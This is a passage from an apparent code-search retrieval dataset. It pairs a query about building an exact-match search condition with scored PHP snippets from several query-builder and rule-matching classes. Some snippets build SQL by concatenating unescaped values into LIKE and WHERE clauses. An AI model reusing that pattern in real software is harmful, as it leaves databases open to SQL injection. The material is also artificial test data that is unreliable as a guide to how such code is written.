(\\Exception $e) {\n return;\n }\n } else {\n try {\n $this->session->getDriver()->click($dialoguexpath);\n } catch (\\Exception $e) {\n return;\n }\n }\n }\n $this->session->wait(behat_base::get_timeout() * 1000, behat_base::PAGE_READY_JS);\n }\n }", "title": "" }, { "docid": "9602ec8ac2b48fb5e58e4019a7dbf38d", "score": "0.50152063", "text": "public function select($select = '*', $escape = NULL)\n\t{\n\t\tif (is_string($select))\n\t\t{\n\t\t\t$select = explode(',', $select);\n\t\t}\n\n\t\t// If the escape value was not set, we will base it on the global setting\n\t\tis_bool($escape) OR $escape = $this->_protect_identifiers;\n\n\t\tforeach ($select as $val)\n\t\t{\n\t\t\t$val = trim($val);\n\n\t\t\tif ($val !== '')\n\t\t\t{\n\t\t\t\t$this->qb_select[] = $val;\n\t\t\t\t$this->qb_no_escape[] = $escape;\n\n\t\t\t\tif ($this->qb_caching === TRUE)\n\t\t\t\t{\n\t\t\t\t\t$this->qb_cache_select[] = $val;\n\t\t\t\t\t$this->qb_cache_exists[] = 'select';\n\t\t\t\t\t$this->qb_cache_no_escape[] = $escape;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "d2cb3810f0f92bb3a1b3bcdbd0e2430b", "score": "0.5014237", "text": "public function select(): Select\n {\n return new Select($this->_TABELS[0], $this->_COLUMNS, $this->PDO, ['query' => $this->query()]);\n }", "title": "" }, { "docid": "6b59af4737d45eb98c5d590a05095f6c", "score": "0.50104016", "text": "public function init(){\n\t\tparent::intit();\n\t\t\n\t\t$this->_html .= $this->set_label($this->_options);\n\t\t\n\t\t$this->_html .= '<select ';\n\t\t\n\t\tif(isset($this->_options['id'])){\n\t\t\t$this->_html .= 'id=\"'.$this->_options['id'].'\" ';\n\t\t}\n\t\t\n\t\tif(isset($this->_options['class'])){\n\t\t\t$this->_html .= 'class=\"'.$this->_options['class'].'\" ';\n\t\t}\n\t\t\n\t\tif(isset($this->_options['name'])){\n\t\t\t$this->_html .= 'name=\"'.$this->_options['name'].'\" ';\n\t\t}\n\t\t\n\t\tif(isset($this->_options['required']) && $this->_options['required'] == true){\n\t\t\t$this->_html .= 'required';\n\t\t}\n\t\t\n\t\tif(isset($this->_options['disabled']) && $this->_options['disabled'] == true){\n\t\t\t$this->_html .= 'disabled';\n\t\t}\n\t\t\n\t\t$this->_html .= ' >';\n\t\t\n\t\tif(isset($this->_options['select_options'])){\n\t\t\tforeach($this->_options['select_options'] as $select){\n\t\t\t\t$this->_html .= '<option ';\n\t\t\t\t$this->_html .= 'value=\"' .$select['value']. '\" ';\n\t\t\t\t$this->_html .= selected($this->_get_value($select['option'], $select['key']), \n\t\t\t\t\t$select['value']);\n\t\t\t\t$this->_html .= ' >';\n\t\t\t\t$this->_html .= $select['content'];\n\t\t\t\t$this->_html .= '</option>';\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_html .= '</select>';\n\t}", "title": "" } ]
2edc51410476c71c8d4ba78eb3f590c5
Generate a searchcondition that checks whether $value matches $field exactly.
[ { "docid": "547819a5a19dd0299e2a96e8a5c1c34d", "score": "0.61449265", "text": "public function exactCondition($field, $value, $dbFieldType = null)\n {\n if ($dbFieldType == Db::FT_NUMBER) {\n $value = (int) $value;\n }\n return $this->simpleCondition($field, $value, '=', '!=');\n }", "title": "" } ]
[ { "docid": "37edfdb6806319f12e4eaba8d0dedba7", "score": "0.7022819", "text": "public function lessthanequalCondition($field, $value)\n {\n return $this->simpleCondition($field, $value, '<=', '>');\n }", "title": "" }, { "docid": "69027758256ff3c9684759f4293f9ca7", "score": "0.699697", "text": "public function exactBoolCondition($field, $value)\n {\n if ($value) {\n return new QueryPart($field);\n } else {\n return new QueryPart(\"NOT({$field})\");\n }\n }", "title": "" }, { "docid": "0433f664366e71fa919c9ea77a5efae2", "score": "0.6805682", "text": "public function regexpCondition($field, $value)\n {\n return $this->m_db->func_regexp($field, $value); \n }", "title": "" }, { "docid": "0c4ce1f4b192f625f51f8de5aac1a91b", "score": "0.67066866", "text": "public function equal($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, '='));\n }", "title": "" }, { "docid": "32119a867b223e09d013c754e3f43f32", "score": "0.66898704", "text": "function search($field, $value) {\n\t global $pdo;\n\t $stmt = $pdo->prepare(\"SELECT * FROM $this->table_name WHERE $field = :value\");\n\t $criteria = [\n\t 'value' => $value\n\t ];\n\t $stmt->execute($criteria);\n\t return $stmt;\n\t}", "title": "" }, { "docid": "391974aaa96049d635693121ee688195", "score": "0.66888034", "text": "public function lessthanCondition($field, $value)\n {\n return $this->simpleCondition($field, $value, '<=', '>');\n }", "title": "" }, { "docid": "ee929396da2c8e2ffe53fccaac12cfac", "score": "0.6606502", "text": "public function substringCondition($field, $value)\n {\n return $this->simpleCondition($field, '%'.str_replace('%', '%%', $value).'%', 'LIKE', 'NOT LIKE');\n }", "title": "" }, { "docid": "125543c1f0af685f20e353b2990301ea", "score": "0.6537535", "text": "public function startswithCondition($field, $value)\n {\n return $this->simpleCondition($field, str_replace('%', '%%', $value).'%', 'LIKE', 'NOT LIKE');\n }", "title": "" }, { "docid": "087f84ea797bd5602873ee3fb7d0a688", "score": "0.6469697", "text": "public function where(string $field, $value) : QueryBuilder;", "title": "" }, { "docid": "9a543c5b16028e702e88434d07c91b7a", "score": "0.6432078", "text": "public function like($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, 'LIKE'));\n }", "title": "" }, { "docid": "83b24afc48f0e968fb3f7a002df4720f", "score": "0.6351419", "text": "public function wildcardCondition($field, $value)\n {\n return $this->simpleCondition($field, str_replace('*', '%', $value), 'LIKE', 'NOT LIKE');\n }", "title": "" }, { "docid": "f2a2f7da585650090dd0deae7fc7b990", "score": "0.63012683", "text": "protected function parseCondition($field, $value)\n {\n $operator = '=';\n $expression = $field;\n $parts = explode(' ', trim($field), 2);\n\n if (count($parts) > 1) {\n list($expression, $operator) = $parts;\n }\n\n $operator = strtolower(trim($operator));\n\n $multiple = false;\n\n if (in_array($operator, ['in', 'not in'])) {\n $operator = $operator === '=' ? 'IN' : $operator;\n $operator = $operator === '!=' ? 'NOT IN' : $operator;\n $multiple = true;\n }\n\n if ($multiple) {\n $value = $value instanceof ExpressionContract ? $value : (array)$value;\n }\n\n if ($operator === 'is' && $value === null) {\n return new UnaryExpression(\n 'IS NULL',\n new IdentifierExpression($expression),\n UnaryExpression::PREFIX\n );\n }\n\n if ($operator === 'is not' && $value === null) {\n return new UnaryExpression(\n 'IS NOT NULL',\n new IdentifierExpression($expression),\n UnaryExpression::SUFFIX\n );\n }\n\n if ($operator === 'is' && $value !== null) {\n $operator = '=';\n }\n\n if ($operator === 'is not' && $value !== null) {\n $operator = '!=';\n }\n\n return new ComparisonExpression($expression, $value, $operator, $multiple);\n }", "title": "" }, { "docid": "e2ef433d7e4cdcae18a6566f4df30164", "score": "0.62736297", "text": "public function bitmaskCondition($field, $value)\n {\n $placeholder = QueryPart::placeholder($field);\n return new QueryPart(\"{$field} & {$placeholder} != 0\", [$placeholder => (int) $value]);\n }", "title": "" }, { "docid": "64472aad9fb03b6e133c53c7375607ce", "score": "0.62665004", "text": "public function where( $aField, $aValue );", "title": "" }, { "docid": "8c21a8eb4e00043865ea04b02c7c4c2c", "score": "0.6244978", "text": "function getSearchCondition(&$query, $table, $value, $searchmode, $fieldaliasprefix='')\n {\n foreach ($this->m_searchfields as $field)\n {\n $p_attrib = &$this->m_ownerInstance->getAttribute($field);\n \n if(is_object($p_attrib))\n {\n $condition = $p_attrib->getSearchCondition($query, $table, $value, $searchmode, $fieldaliasprefix);\n if (!empty($condition))\n {\n $searchconditions[] = $condition;\n }\n }\n }\n return \"(\".implode(\" OR \",$searchconditions).\")\";\n }", "title": "" }, { "docid": "989612e7137d50510c5481faa51115d5", "score": "0.62329066", "text": "public function eq( $field, $value );", "title": "" }, { "docid": "c6437e67b31776aa5d613058a2dcab54", "score": "0.6226904", "text": "private static function generate_fields_where( $field_name, $field_value, $category ) {\n\t\t\tglobal $wpdb;\n\t\t\t$where = ' WHERE ';\n\t\t\t$category_fields = parse_ini_string( $category->get_fields(), true );\n\t\t\tswitch ( $category_fields[ $field_name ][ 'type' ] ) {\n\t\t\t\t//we are using equal for text and textarea and LIKE for checkbox and select\n\t\t\t\tcase 'text' :\n\t\t\t\t\t$where .= ' (f_name=\"' . $wpdb->escape( $field_name )\n\t\t\t\t\t\t. '\" AND f_value LIKE \"' . $wpdb->escape( '%' . $field_value . '%' ) . '\") ';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'checkbox' :\n\t\t\t\t\t$where .= ' (f_name=\"' . $wpdb->escape( $field_name )\n\t\t\t\t\t\t. '\" AND f_value=\"' . $wpdb->escape( $field_value ) . '\") ';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'select' :\n\t\t\t\t\t$where .= ' (f_name=\"' . $wpdb->escape( $field_name )\n\t\t\t\t\t\t. '\" AND f_value=\"' . $wpdb->escape( $field_value ) . '\") ';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'textarea' :\n\t\t\t\t\t$where .= ' (f_name=\"' . $wpdb->escape( $field_name )\n\t\t\t\t\t\t. '\" AND f_value LIKE \"' . $wpdb->escape( '%' . $field_value . '%' ) . '\") ';\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn $where;\n\t\t}", "title": "" }, { "docid": "9041d8f9c32f135405fe23631774d14f", "score": "0.6213729", "text": "public static function simpleValueCondition(string $table, string $field, $value) : QueryPart\n {\n $placeholder = QueryPart::placeholder($field);\n return new QueryPart(\n Db::quoteIdentifier($table, $field).'='.$placeholder,\n [$placeholder => $value]\n );\n }", "title": "" }, { "docid": "6f67efda0798ab2e8789ad8445fc5a97", "score": "0.6207434", "text": "protected function buildSearchQueryField($field, $value, $mode)\n {\n $sqlField = 'p_' . $field . '.value';\n \n if ($mode & self::SEARCH_STRICT) {\n //exact match\n return $sqlField . ' = ' . $this->db->quote($value);\n\n } else if ($mode & self::SEARCH_PREFIX) {\n return $this->db->ilike($sqlField, $value . '%'); \n }\n\n return $this->db->ilike($sqlField, '%' . $value . '%');\n }", "title": "" }, { "docid": "70ab6fb9dfcc3f6f94955c76c31e180a", "score": "0.61866355", "text": "public function equals( string $field, mixed $value ): static {\n\t\t$this->filter_args[ Filter::equals->field( $field ) ] = $value;\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "9f451de5fc679ee037d855585869c1e2", "score": "0.61829334", "text": "public function getSearchCondition(Query $query, $table, $value, $searchmode, $fieldname = '')\n {\n if (!$this->getOwnerInstance()->isNestedAttribute($this->fieldName())) {\n return parent::getSearchCondition($query, $table, $value, $searchmode, $fieldname);\n }\n\n if (is_array($value)) {\n $value = $value[$this->fieldName()];\n }\n\n if ($this->m_searchmode) {\n $searchmode = $this->m_searchmode;\n }\n\n if (strpos($value, '*') !== false && Tools::atk_strlen($value) > 1) {\n // auto wildcard detection\n $searchmode = 'wildcard';\n }\n\n $fields_sql = self::buildJSONExtractValue($this, $table);\n\n $func = $searchmode . 'Condition';\n if (method_exists($query, $func) && ($value || ($value == 0))) {\n return $query->$func($fields_sql, $this->escapeSQL($value), $this->dbFieldType());\n } elseif (!method_exists($query, $func)) {\n Tools::atkdebug(\"Database doesn't support searchmode '$searchmode' for \" . $this->fieldName() . ', ignoring condition.');\n }\n\n return '';\n }", "title": "" }, { "docid": "17f38e204e485d871dd2f65a4790daec", "score": "0.60672086", "text": "public function andWhere($field = '', $value = '')\n {\n\n return $this->where($field, $value);\n\n }", "title": "" }, { "docid": "44f02af85599d9dc94da791701a84078", "score": "0.60647666", "text": "public function whereEqual(string $field, $value, bool $reverse = false)\n {\n $field = $this->escapeField($field);\n\n $operator = $reverse ? '!=' : '=';\n\n $this->whereClause .= \" AND $field $operator ?\";\n\n $this->parameters[] = $value;\n\n return $this;\n }", "title": "" }, { "docid": "4bea08b0aa83c8c436bd60898df24db0", "score": "0.6030952", "text": "static function match(RuleCriteria &$criterion, $field, &$criterias_results, &$regex_result) {\n\n $condition = $criterion->fields['condition'];\n $pattern = $criterion->fields['pattern'];\n $criteria = $criterion->fields['criteria'];\n\n //If pattern is wildcard, don't check the rule and return true\n //or if the condition is \"already present in GLPI\" : will be processed later\n if (($pattern == Rule::RULE_WILDCARD)\n || ($condition == Rule::PATTERN_FIND)) {\n return true;\n }\n\n $pattern = trim($pattern);\n\n switch ($condition) {\n case Rule::PATTERN_EXISTS :\n return (!empty($field));\n\n case Rule::PATTERN_DOES_NOT_EXISTS :\n return (empty($field));\n\n case Rule::PATTERN_IS :\n if (is_array($field)) {\n // Special case (used only by UNIQUE_PROFILE, for now)\n // $pattern is an ID\n if (in_array($pattern, $field)) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n } else {\n //Perform comparison with fields in lower case\n $field = Toolbox::strtolower($field);\n $pattern = Toolbox::strtolower($pattern);\n if ($field == $pattern) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n }\n return false;\n\n case Rule::PATTERN_IS_NOT :\n //Perform comparison with fields in lower case\n $field = Toolbox::strtolower($field);\n $pattern = Toolbox::strtolower($pattern);\n if ($field != $pattern) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::PATTERN_UNDER :\n $table = getTableNameForForeignKeyField($criteria);\n $values = getSonsOf($table, $pattern);\n if (isset($values[$field])) {\n return true;\n }\n return false;\n\n case Rule::PATTERN_NOT_UNDER :\n $table = getTableNameForForeignKeyField($criteria);\n $values = getSonsOf($table, $pattern);\n if (isset($values[$field])) {\n return false;\n }\n return true;\n\n case Rule::PATTERN_END :\n $value = \"/\".$pattern.\"$/i\";\n if (preg_match($value, $field) > 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::PATTERN_BEGIN :\n if (empty($pattern)) {\n return false;\n }\n $value = mb_stripos($field, $pattern, 0, 'UTF-8');\n if (($value !== false) && ($value == 0)) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::PATTERN_CONTAIN :\n if (empty($pattern)) {\n return false;\n }\n $value = mb_stripos($field, $pattern, 0, 'UTF-8');\n if (($value !== false) && ($value >= 0)) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::PATTERN_NOT_CONTAIN :\n if (empty($pattern)) {\n return false;\n }\n $value = mb_stripos($field, $pattern, 0, 'UTF-8');\n if ($value === false) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::REGEX_MATCH :\n $results = [];\n // Permit use < and >\n $pattern = Toolbox::unclean_cross_side_scripting_deep($pattern);\n if (preg_match_all($pattern.\"i\", $field, $results)>0) {\n // Drop $result[0] : complete match result\n array_shift($results);\n // And add to $regex_result array\n $res = [];\n foreach ($results as $data) {\n $res[] = $data[0];\n }\n $regex_result[] = $res;\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::REGEX_NOT_MATCH :\n // Permit use < and >\n $pattern = Toolbox::unclean_cross_side_scripting_deep($pattern);\n if (preg_match($pattern.\"i\", $field) == 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case Rule::PATTERN_FIND :\n case Rule::PATTERN_IS_EMPTY :\n // Global criteria will be evaluated later\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "5b4870a22713d7e7792fd704282d2c51", "score": "0.6030283", "text": "abstract public function exists( $value, $field );", "title": "" }, { "docid": "0d9064667233270efa1e1c3f64e063b0", "score": "0.5986632", "text": "public function constructFullTextSearchCondition(Model $model, $fields, $value) {\n\t\t// to learn more about array_map, look at http://php.net/manual/en/function.array-map.php\n\t\t// to learn more about lambda function and callbacks, look at http://php.net/manual/en/functions.anonymous.php\n\n\t\t// $fields is an array like array('Model.field1', 'field2');\n\t\t// we want to get back an array like array('`Model`.`field1`', '`field2`')\n\t\t$fields = array_map(function($field) {\n\t\t\t$fieldArray = explode($field, \".\");\n\t\t\t$escaped = array_map(function($subField) {\n\t\t\t\treturn \"`\" . $subField . \"`\";\n\t\t\t}, $fieldArray);\n\t\t\treturn implode(\".\", $escaped);\n\t\t}, $fields);\n\n\t\t// now we get a string like MATCH (`Model.field1`,`field2`) AGAINST (\n\t\t$fieldString = \"MATCH (\" . implode(\",\", $fields) . \") AGAINST (\";\n\n\t\t$escapedQuery = $this->escapeUserInput($value);\n\n\t\t// now we get a string like MATCH (`Model.field1`,`field2`) AGAINST ($escapedQuery)\n\t\t$fieldString .= $fieldString . $escapedQuery . \")\";\n\n\t\treturn $fieldString;\n\t}", "title": "" }, { "docid": "89c5625c313f613807b817ee781edd09", "score": "0.5943405", "text": "function regexpCondition($field, $value, $inverse=false)\n {\n // void implementation\n return \"\";\n }", "title": "" }, { "docid": "23d8c70a1dfac11fdfa06d9333b5a6bf", "score": "0.5942777", "text": "function where_like($fields=array(), $value=\"\")\n {\n $where = \"WHERE (\";\n $ctr = 0;\n \n foreach($fields as $field)\n {\n $where .= \"$field LIKE '%$value%'\";\n $ctr++;\n if ($ctr < count($fields))\n {\n $where .= \" OR\";\n }\n }\n return $where . \") \";\n\n // sample \n // $firstname = \"firstname\";\n // $lastname = \"lastname\";\n // $surname = \"Caasi\"\n // $fnc = \"WHERE ($firstname OR $lastname LIKE '%$surname%'\";\n }", "title": "" }, { "docid": "235a26aacc87479058cfe0f32d0b2d22", "score": "0.59267", "text": "public static function ltEq($field, $value)\n\t\t{\n\t\t\treturn new BinaryExpression(\n\t\t\t\t$field, $value, BinaryExpression::LOWER_OR_EQUALS\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "64244257faff0c0d8f90fd2ef262ea03", "score": "0.59105617", "text": "static function match(pluginfusioninventoryRuleCriteria &$criterion, $field, &$criterias_results, &$regex_result) {\n\n $condition = $criterion->fields['condition'];\n $pattern = $criterion->fields['pattern'];\n $criteria = $criterion->fields['criteria'];\n\n //If pattern is wildcard, don't check the rule and return true\n //or if the condition is \"already present in GLPI\" : will be processed later\n if ($pattern == PluginFusioninventoryRule::RULE_WILDCARD || $pattern == PluginFusioninventoryRule::PATTERN_FIND) {\n return true;\n }\n\n // Input are slashed protected, not output.\n if (is_array($field)) {\n $field = stripslashes_deep($field);\n } else {\n // Trim for remove keyboard errors\n $field = stripslashes(trim($field));\n }\n\n $pattern = trim($pattern);\n\n if ($condition != PluginFusioninventoryRule::REGEX_MATCH && $condition != PluginFusioninventoryRule::REGEX_NOT_MATCH) {\n //Perform comparison with fields in lower case\n $field = utf8_strtolower($field);\n $pattern = utf8_strtolower($pattern);\n }\n\n switch ($condition) {\n case PluginFusioninventoryRule::PATTERN_EXISTS :\n return ($field != '');\n\n case PluginFusioninventoryRule::PATTERN_DOES_NOT_EXISTS :\n return ($field == '');\n\n case PluginFusioninventoryRule::PATTERN_IS :\n if (is_array($field)) {\n // Special case (used only by UNIQUE_PROFILE, for now)\n if (in_array($pattern, $field)) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n } else if ($field == $pattern) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_IS_NOT :\n if ($field != $pattern) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_END :\n $value = \"/\".$pattern.\"$/\";\n if (preg_match($value, $field) > 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_BEGIN :\n if (empty($pattern)) {\n return false;\n }\n $value = strpos($field,$pattern);\n if (($value !== false) && $value == 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_CONTAIN :\n if (empty($pattern)) {\n return false;\n }\n $value = strpos($field,$pattern);\n if (($value !== false) && $value >= 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_NOT_CONTAIN :\n if (empty($pattern)) {\n return false;\n }\n $value = strpos($field,$pattern);\n if ($value === false) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::REGEX_MATCH :\n $results = array();\n if (preg_match($pattern.\"i\",$field,$results)>0) {\n // Drop $result[0] : complete match result\n array_shift($results);\n // And add to $regex_result array\n $regex_result[] = $results;\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::REGEX_NOT_MATCH :\n if (preg_match($pattern.\"i\", $field) == 0) {\n $criterias_results[$criteria] = $pattern;\n return true;\n }\n return false;\n\n case PluginFusioninventoryRule::PATTERN_FIND :\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "05334306aa7b9da09e7ad67b911c5879", "score": "0.5909663", "text": "public function fuzzy($field, $value)\n {\n $this->container=['fuzzy'=>[$field=>$value]];\n return $this;\n }", "title": "" }, { "docid": "da5c78427fb43d563b6f4b6941ce002b", "score": "0.59037495", "text": "public static function buildWhere($table, $field, $value, $condition = null)\n {\n // if the string is already in the format :{string} it's already a placeholder, honor it\n $paramName = $value;\n if (!(is_string($value) && trim(substr($value, 0, 1)) === ':')) {\n $paramName = self::buildHashParam($table.$field);\n }\n $condition = $condition === null ? Query::EQ : $condition;\n switch ($condition) {\n case Query::IN:\n $whereString = \"{$table}.{$field} in ({$paramName})\";\n break;\n case Query::NOT_IN:\n $whereString = \"{$table}.{$field} not in ({$paramName})\";\n break;\n case Query::IS_NULL:\n $whereString = \"{$table}.{$field} is null\";\n break;\n default: \n $whereString = \"{$table}.{$field} {$condition} {$paramName}\";\n break;\n }\n return [$whereString, $paramName];\n }", "title": "" }, { "docid": "b37f778f059679ce3ff67258dd761f04", "score": "0.5890226", "text": "public function fieldToExactMatch($field);", "title": "" }, { "docid": "816441f6503e0a69f32e3b39b0b03d97", "score": "0.587443", "text": "public function greaterthanequalCondition($field, $value)\n {\n return $this->simpleCondition($field, $value, '>=', '<');\n }", "title": "" }, { "docid": "3273a42d6385fb04ed41d8ccd7405a7a", "score": "0.5857337", "text": "public function findByField(string $field, $value);", "title": "" }, { "docid": "413c9c8fb92c28a688bbcee4086c2b69", "score": "0.58548915", "text": "public function where($field, $value = ''){\n\n if (!is_array($field)) {\n $this->_where .= $this->getWhere($field, '=') . '?';\n $this->_prepared_data = array_merge($this->_prepared_data, [$value]);\n } else {\n #pr($field);\n foreach ($field as $_field => $val) {\n $this->_where .= $this->getWhere($_field, '=') . '?';\n $this->_prepared_data = array_merge($this->_prepared_data, [$val]);\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "d2981ecfbc1f8eca724b9dad886bac62", "score": "0.58315897", "text": "public static function gtEq($field, $value)\n\t\t{\n\t\t\treturn new BinaryExpression(\n\t\t\t\t$field, $value, BinaryExpression::GREATER_OR_EQUALS\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "2b9c18b264efb92f1cfd39d8645ff82d", "score": "0.58176833", "text": "private function addEqualsStatement($fieldname, $fieldvalue, $whereclause, $operator) {\r\n\t\tif(!is_null($fieldvalue)){\r\n\t\t\tif(!is_numeric($fieldvalue) && empty($fieldvalue)) {\r\n\t\t\t\t$condition = \"$fieldname IS NULL\";\r\n\t\t\t}\t\t\t\r\n\t\t\telse {\t\t\t\r\n\t\t\t\t$fieldvalue = str_replace(\"'\", \"''\", $fieldvalue);\r\n\t\t\t\t// case insensitive\r\n//USE THE SAME TO UPPER FUNCTION, OTHERWISE PROBLEMS WITH ë to Ë\r\n//\t\t\t\t$fieldvalue = strtoupper($fieldvalue);\r\n//\t\t\t\t$condition = \"UPPER($fieldname) LIKE('%$fieldvalue%')\\n\";\r\n\t\t\t\t$condition = \"UPPER($fieldname) LIKE(UPPER('$fieldvalue'))\\n\";\r\n\t\t\t}\r\n\t\t\tif(empty($whereclause)) {\r\n\t\t\t\treturn $condition;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\treturn \"$whereclause $operator $condition\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\treturn $whereclause;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "181b87b4e163f41db5240f12a0b9ac7d", "score": "0.5812543", "text": "private function getEqualFilter(\n string $field,\n $value\n ): QueryFilterGroupInterface {\n $filter = new QueryFilterGroup();\n $filter->addFilter(\n new ComparatorFilter($field, $value, ComparatorEnum::EQ())\n );\n\n return $filter;\n }", "title": "" }, { "docid": "94f7bddeb3ca81ff5856fee952072e7c", "score": "0.5769873", "text": "function build_str_like($find_field_name, $field_value)\n {\n $str_like_filter=NULL;\n // cut unnormal symbols\n $field_value=preg_replace(\"/[^\\w\\x7F-\\xFF\\s]/\", \" \", $field_value);\n // delete double spacebars\n $field_value=str_replace(\" +\", \" \", $field_value);\n $wordmas=explode(\" \", $field_value);\n\n for ($i=0; $i<count($wordmas); $i++){\n $wordmas[$i] = trim($wordmas[$i]);\n if (EMPTY($wordmas[$i])) continue;\n if (!EMPTY($str_like_filter)) $str_like_filter=$str_like_filter.\" AND \".$find_field_name.\" LIKE '%\".$wordmas[$i].\"%'\";\n else $str_like_filter=$find_field_name.\" LIKE '%\".$wordmas[$i].\"%'\";\n }\n if ($i>1) $str_like_filter=\"(\".$str_like_filter.\")\";\n //echo '<br>$str_like_filter='.$str_like_filter;\n return $str_like_filter;\n }", "title": "" }, { "docid": "2c200d2355c53b75e3707fd9192c5b92", "score": "0.5766375", "text": "public function comparisonClause($field, $value, $exact = false, $negate = false, $caseSensitive = null) {\n\t\tif($exact) {\n\t\t\t$comp = ($negate) ? '!=' : '=';\n\t\t} else {\n\t\t\t$comp = 'LIKE';\n\t\t\tif($negate) $comp = 'NOT ' . $comp;\t\n\t\t}\n\t\t\n\t\t// Field definitions are case insensitive by default,\n\t\t// change used collation for case sensitive searches.\n\t\t$collateClause = '';\n\t\tif($caseSensitive === true) {\n\t\t\tif(self::$collation) {\n\t\t\t\t$collation = preg_replace('/_CI_/', '_CS_', self::$collation);\n\t\t\t} else {\n\t\t\t\t$collation = 'Latin1_General_CS_AS';\n\t\t\t}\n\t\t\t$collateClause = ' COLLATE ' . $collation;\n\t\t} elseif($caseSensitive === false) {\n\t\t\tif(self::$collation) {\n\t\t\t\t$collation = preg_replace('/_CS_/', '_CI_', self::$collation);\n\t\t\t} else {\n\t\t\t\t$collation = 'Latin1_General_CI_AS';\n\t\t\t}\n\t\t\t$collateClause = ' COLLATE ' . $collation;\n\t\t}\n\n\t\t$clause = sprintf(\"%s %s '%s'\", $field, $comp, $value);\n\t\tif($collateClause) $clause .= $collateClause;\n\n\t\treturn $clause;\n\t}", "title": "" }, { "docid": "64a43e0cf00b099b419b6b320be20c93", "score": "0.5755619", "text": "public function equal( $field, $value )\n {\n return $this->compare( $field, $value, s('=') );\n }", "title": "" }, { "docid": "bf6eed3e6ee68e6f656945980b65525c", "score": "0.57260776", "text": "public function greaterThanOrEqual($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, '>='));\n }", "title": "" }, { "docid": "28f9eec86d17bfa9049304860f43000e", "score": "0.57242286", "text": "private function generateFilterKey($field, $value)\n {\n return $field . '=' . $value;\n }", "title": "" }, { "docid": "ae14d0799396e46e00950fb9b7ad8624", "score": "0.5705504", "text": "public function check($field, $value = null) : static\n {\n $value = Is::boolean($value) ? (string) $value : $value;\n\n $value = Util::blank($value) ? '0' : $value;\n\n return $value === $this->inputValue($field) ? $this : $this->click($field);\n }", "title": "" }, { "docid": "4ccfe432f826f52e7fb97bb30affaf50", "score": "0.5700626", "text": "private function addContainsStatement($fieldname, $fieldvalue, $whereclause, $operator) {\r\n\t\tif(!empty($fieldvalue)) {\r\n\t\t\t$fieldvalue = str_replace(\"'\", \"''\", $fieldvalue);\r\n\t\t\t// case insensitive\r\n//USE THE SAME TO UPPER FUNCTION, OTHERWISE PROBLEMS WITH ë to Ë\r\n//\t\t\t$fieldvalue = strtoupper($fieldvalue);\r\n//\t\t\t$condition = \"UPPER($fieldname) LIKE('%$fieldvalue%')\\n\";\r\n\t\t\t$condition = \"UPPER($fieldname) LIKE(UPPER('%$fieldvalue%'))\\n\";\r\n\t\t\tif(empty($whereclause)) {\r\n\t\t\t\treturn $condition;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\treturn \"$whereclause $operator $condition\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\treturn $whereclause;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "10fdb244c6ee8052e4628653bedcb479", "score": "0.5699851", "text": "public function valueExist(string $field, $value): bool\n {\n return $this->getQuery()->where($field, $value)->exists();\n }", "title": "" }, { "docid": "16f392cdc8839a7c861f8b29bd65b738", "score": "0.56928235", "text": "private function f_search_sitematrix($field, $value) {\r\n\t\t$returnval = \"data_not_found\";\r\n\t\t$i=0;\r\n\t\t\r\n\t\tforeach($this->site_matrix as $key) {\r\n\t\t\tif (isset($key[$field])) {\r\n\t\t\t\tif ($key[$field] == $value) {\r\n\t\t\t\t\t$returnval = $key[\"CO_ID\"];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\treturn $returnval;\r\n\t}", "title": "" }, { "docid": "d5d0668a891187c347b7b195e87edf5b", "score": "0.5672566", "text": "public function lessThanOrEqual($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, '<='));\n }", "title": "" }, { "docid": "528e72b42984a590ab12fab4271f7eb0", "score": "0.56556416", "text": "function build_str_like_for_full($find_field_name, $field_value){\n return \" MATCH($find_field_name) AGAINST('*\".$field_value.\"*' IN BOOLEAN 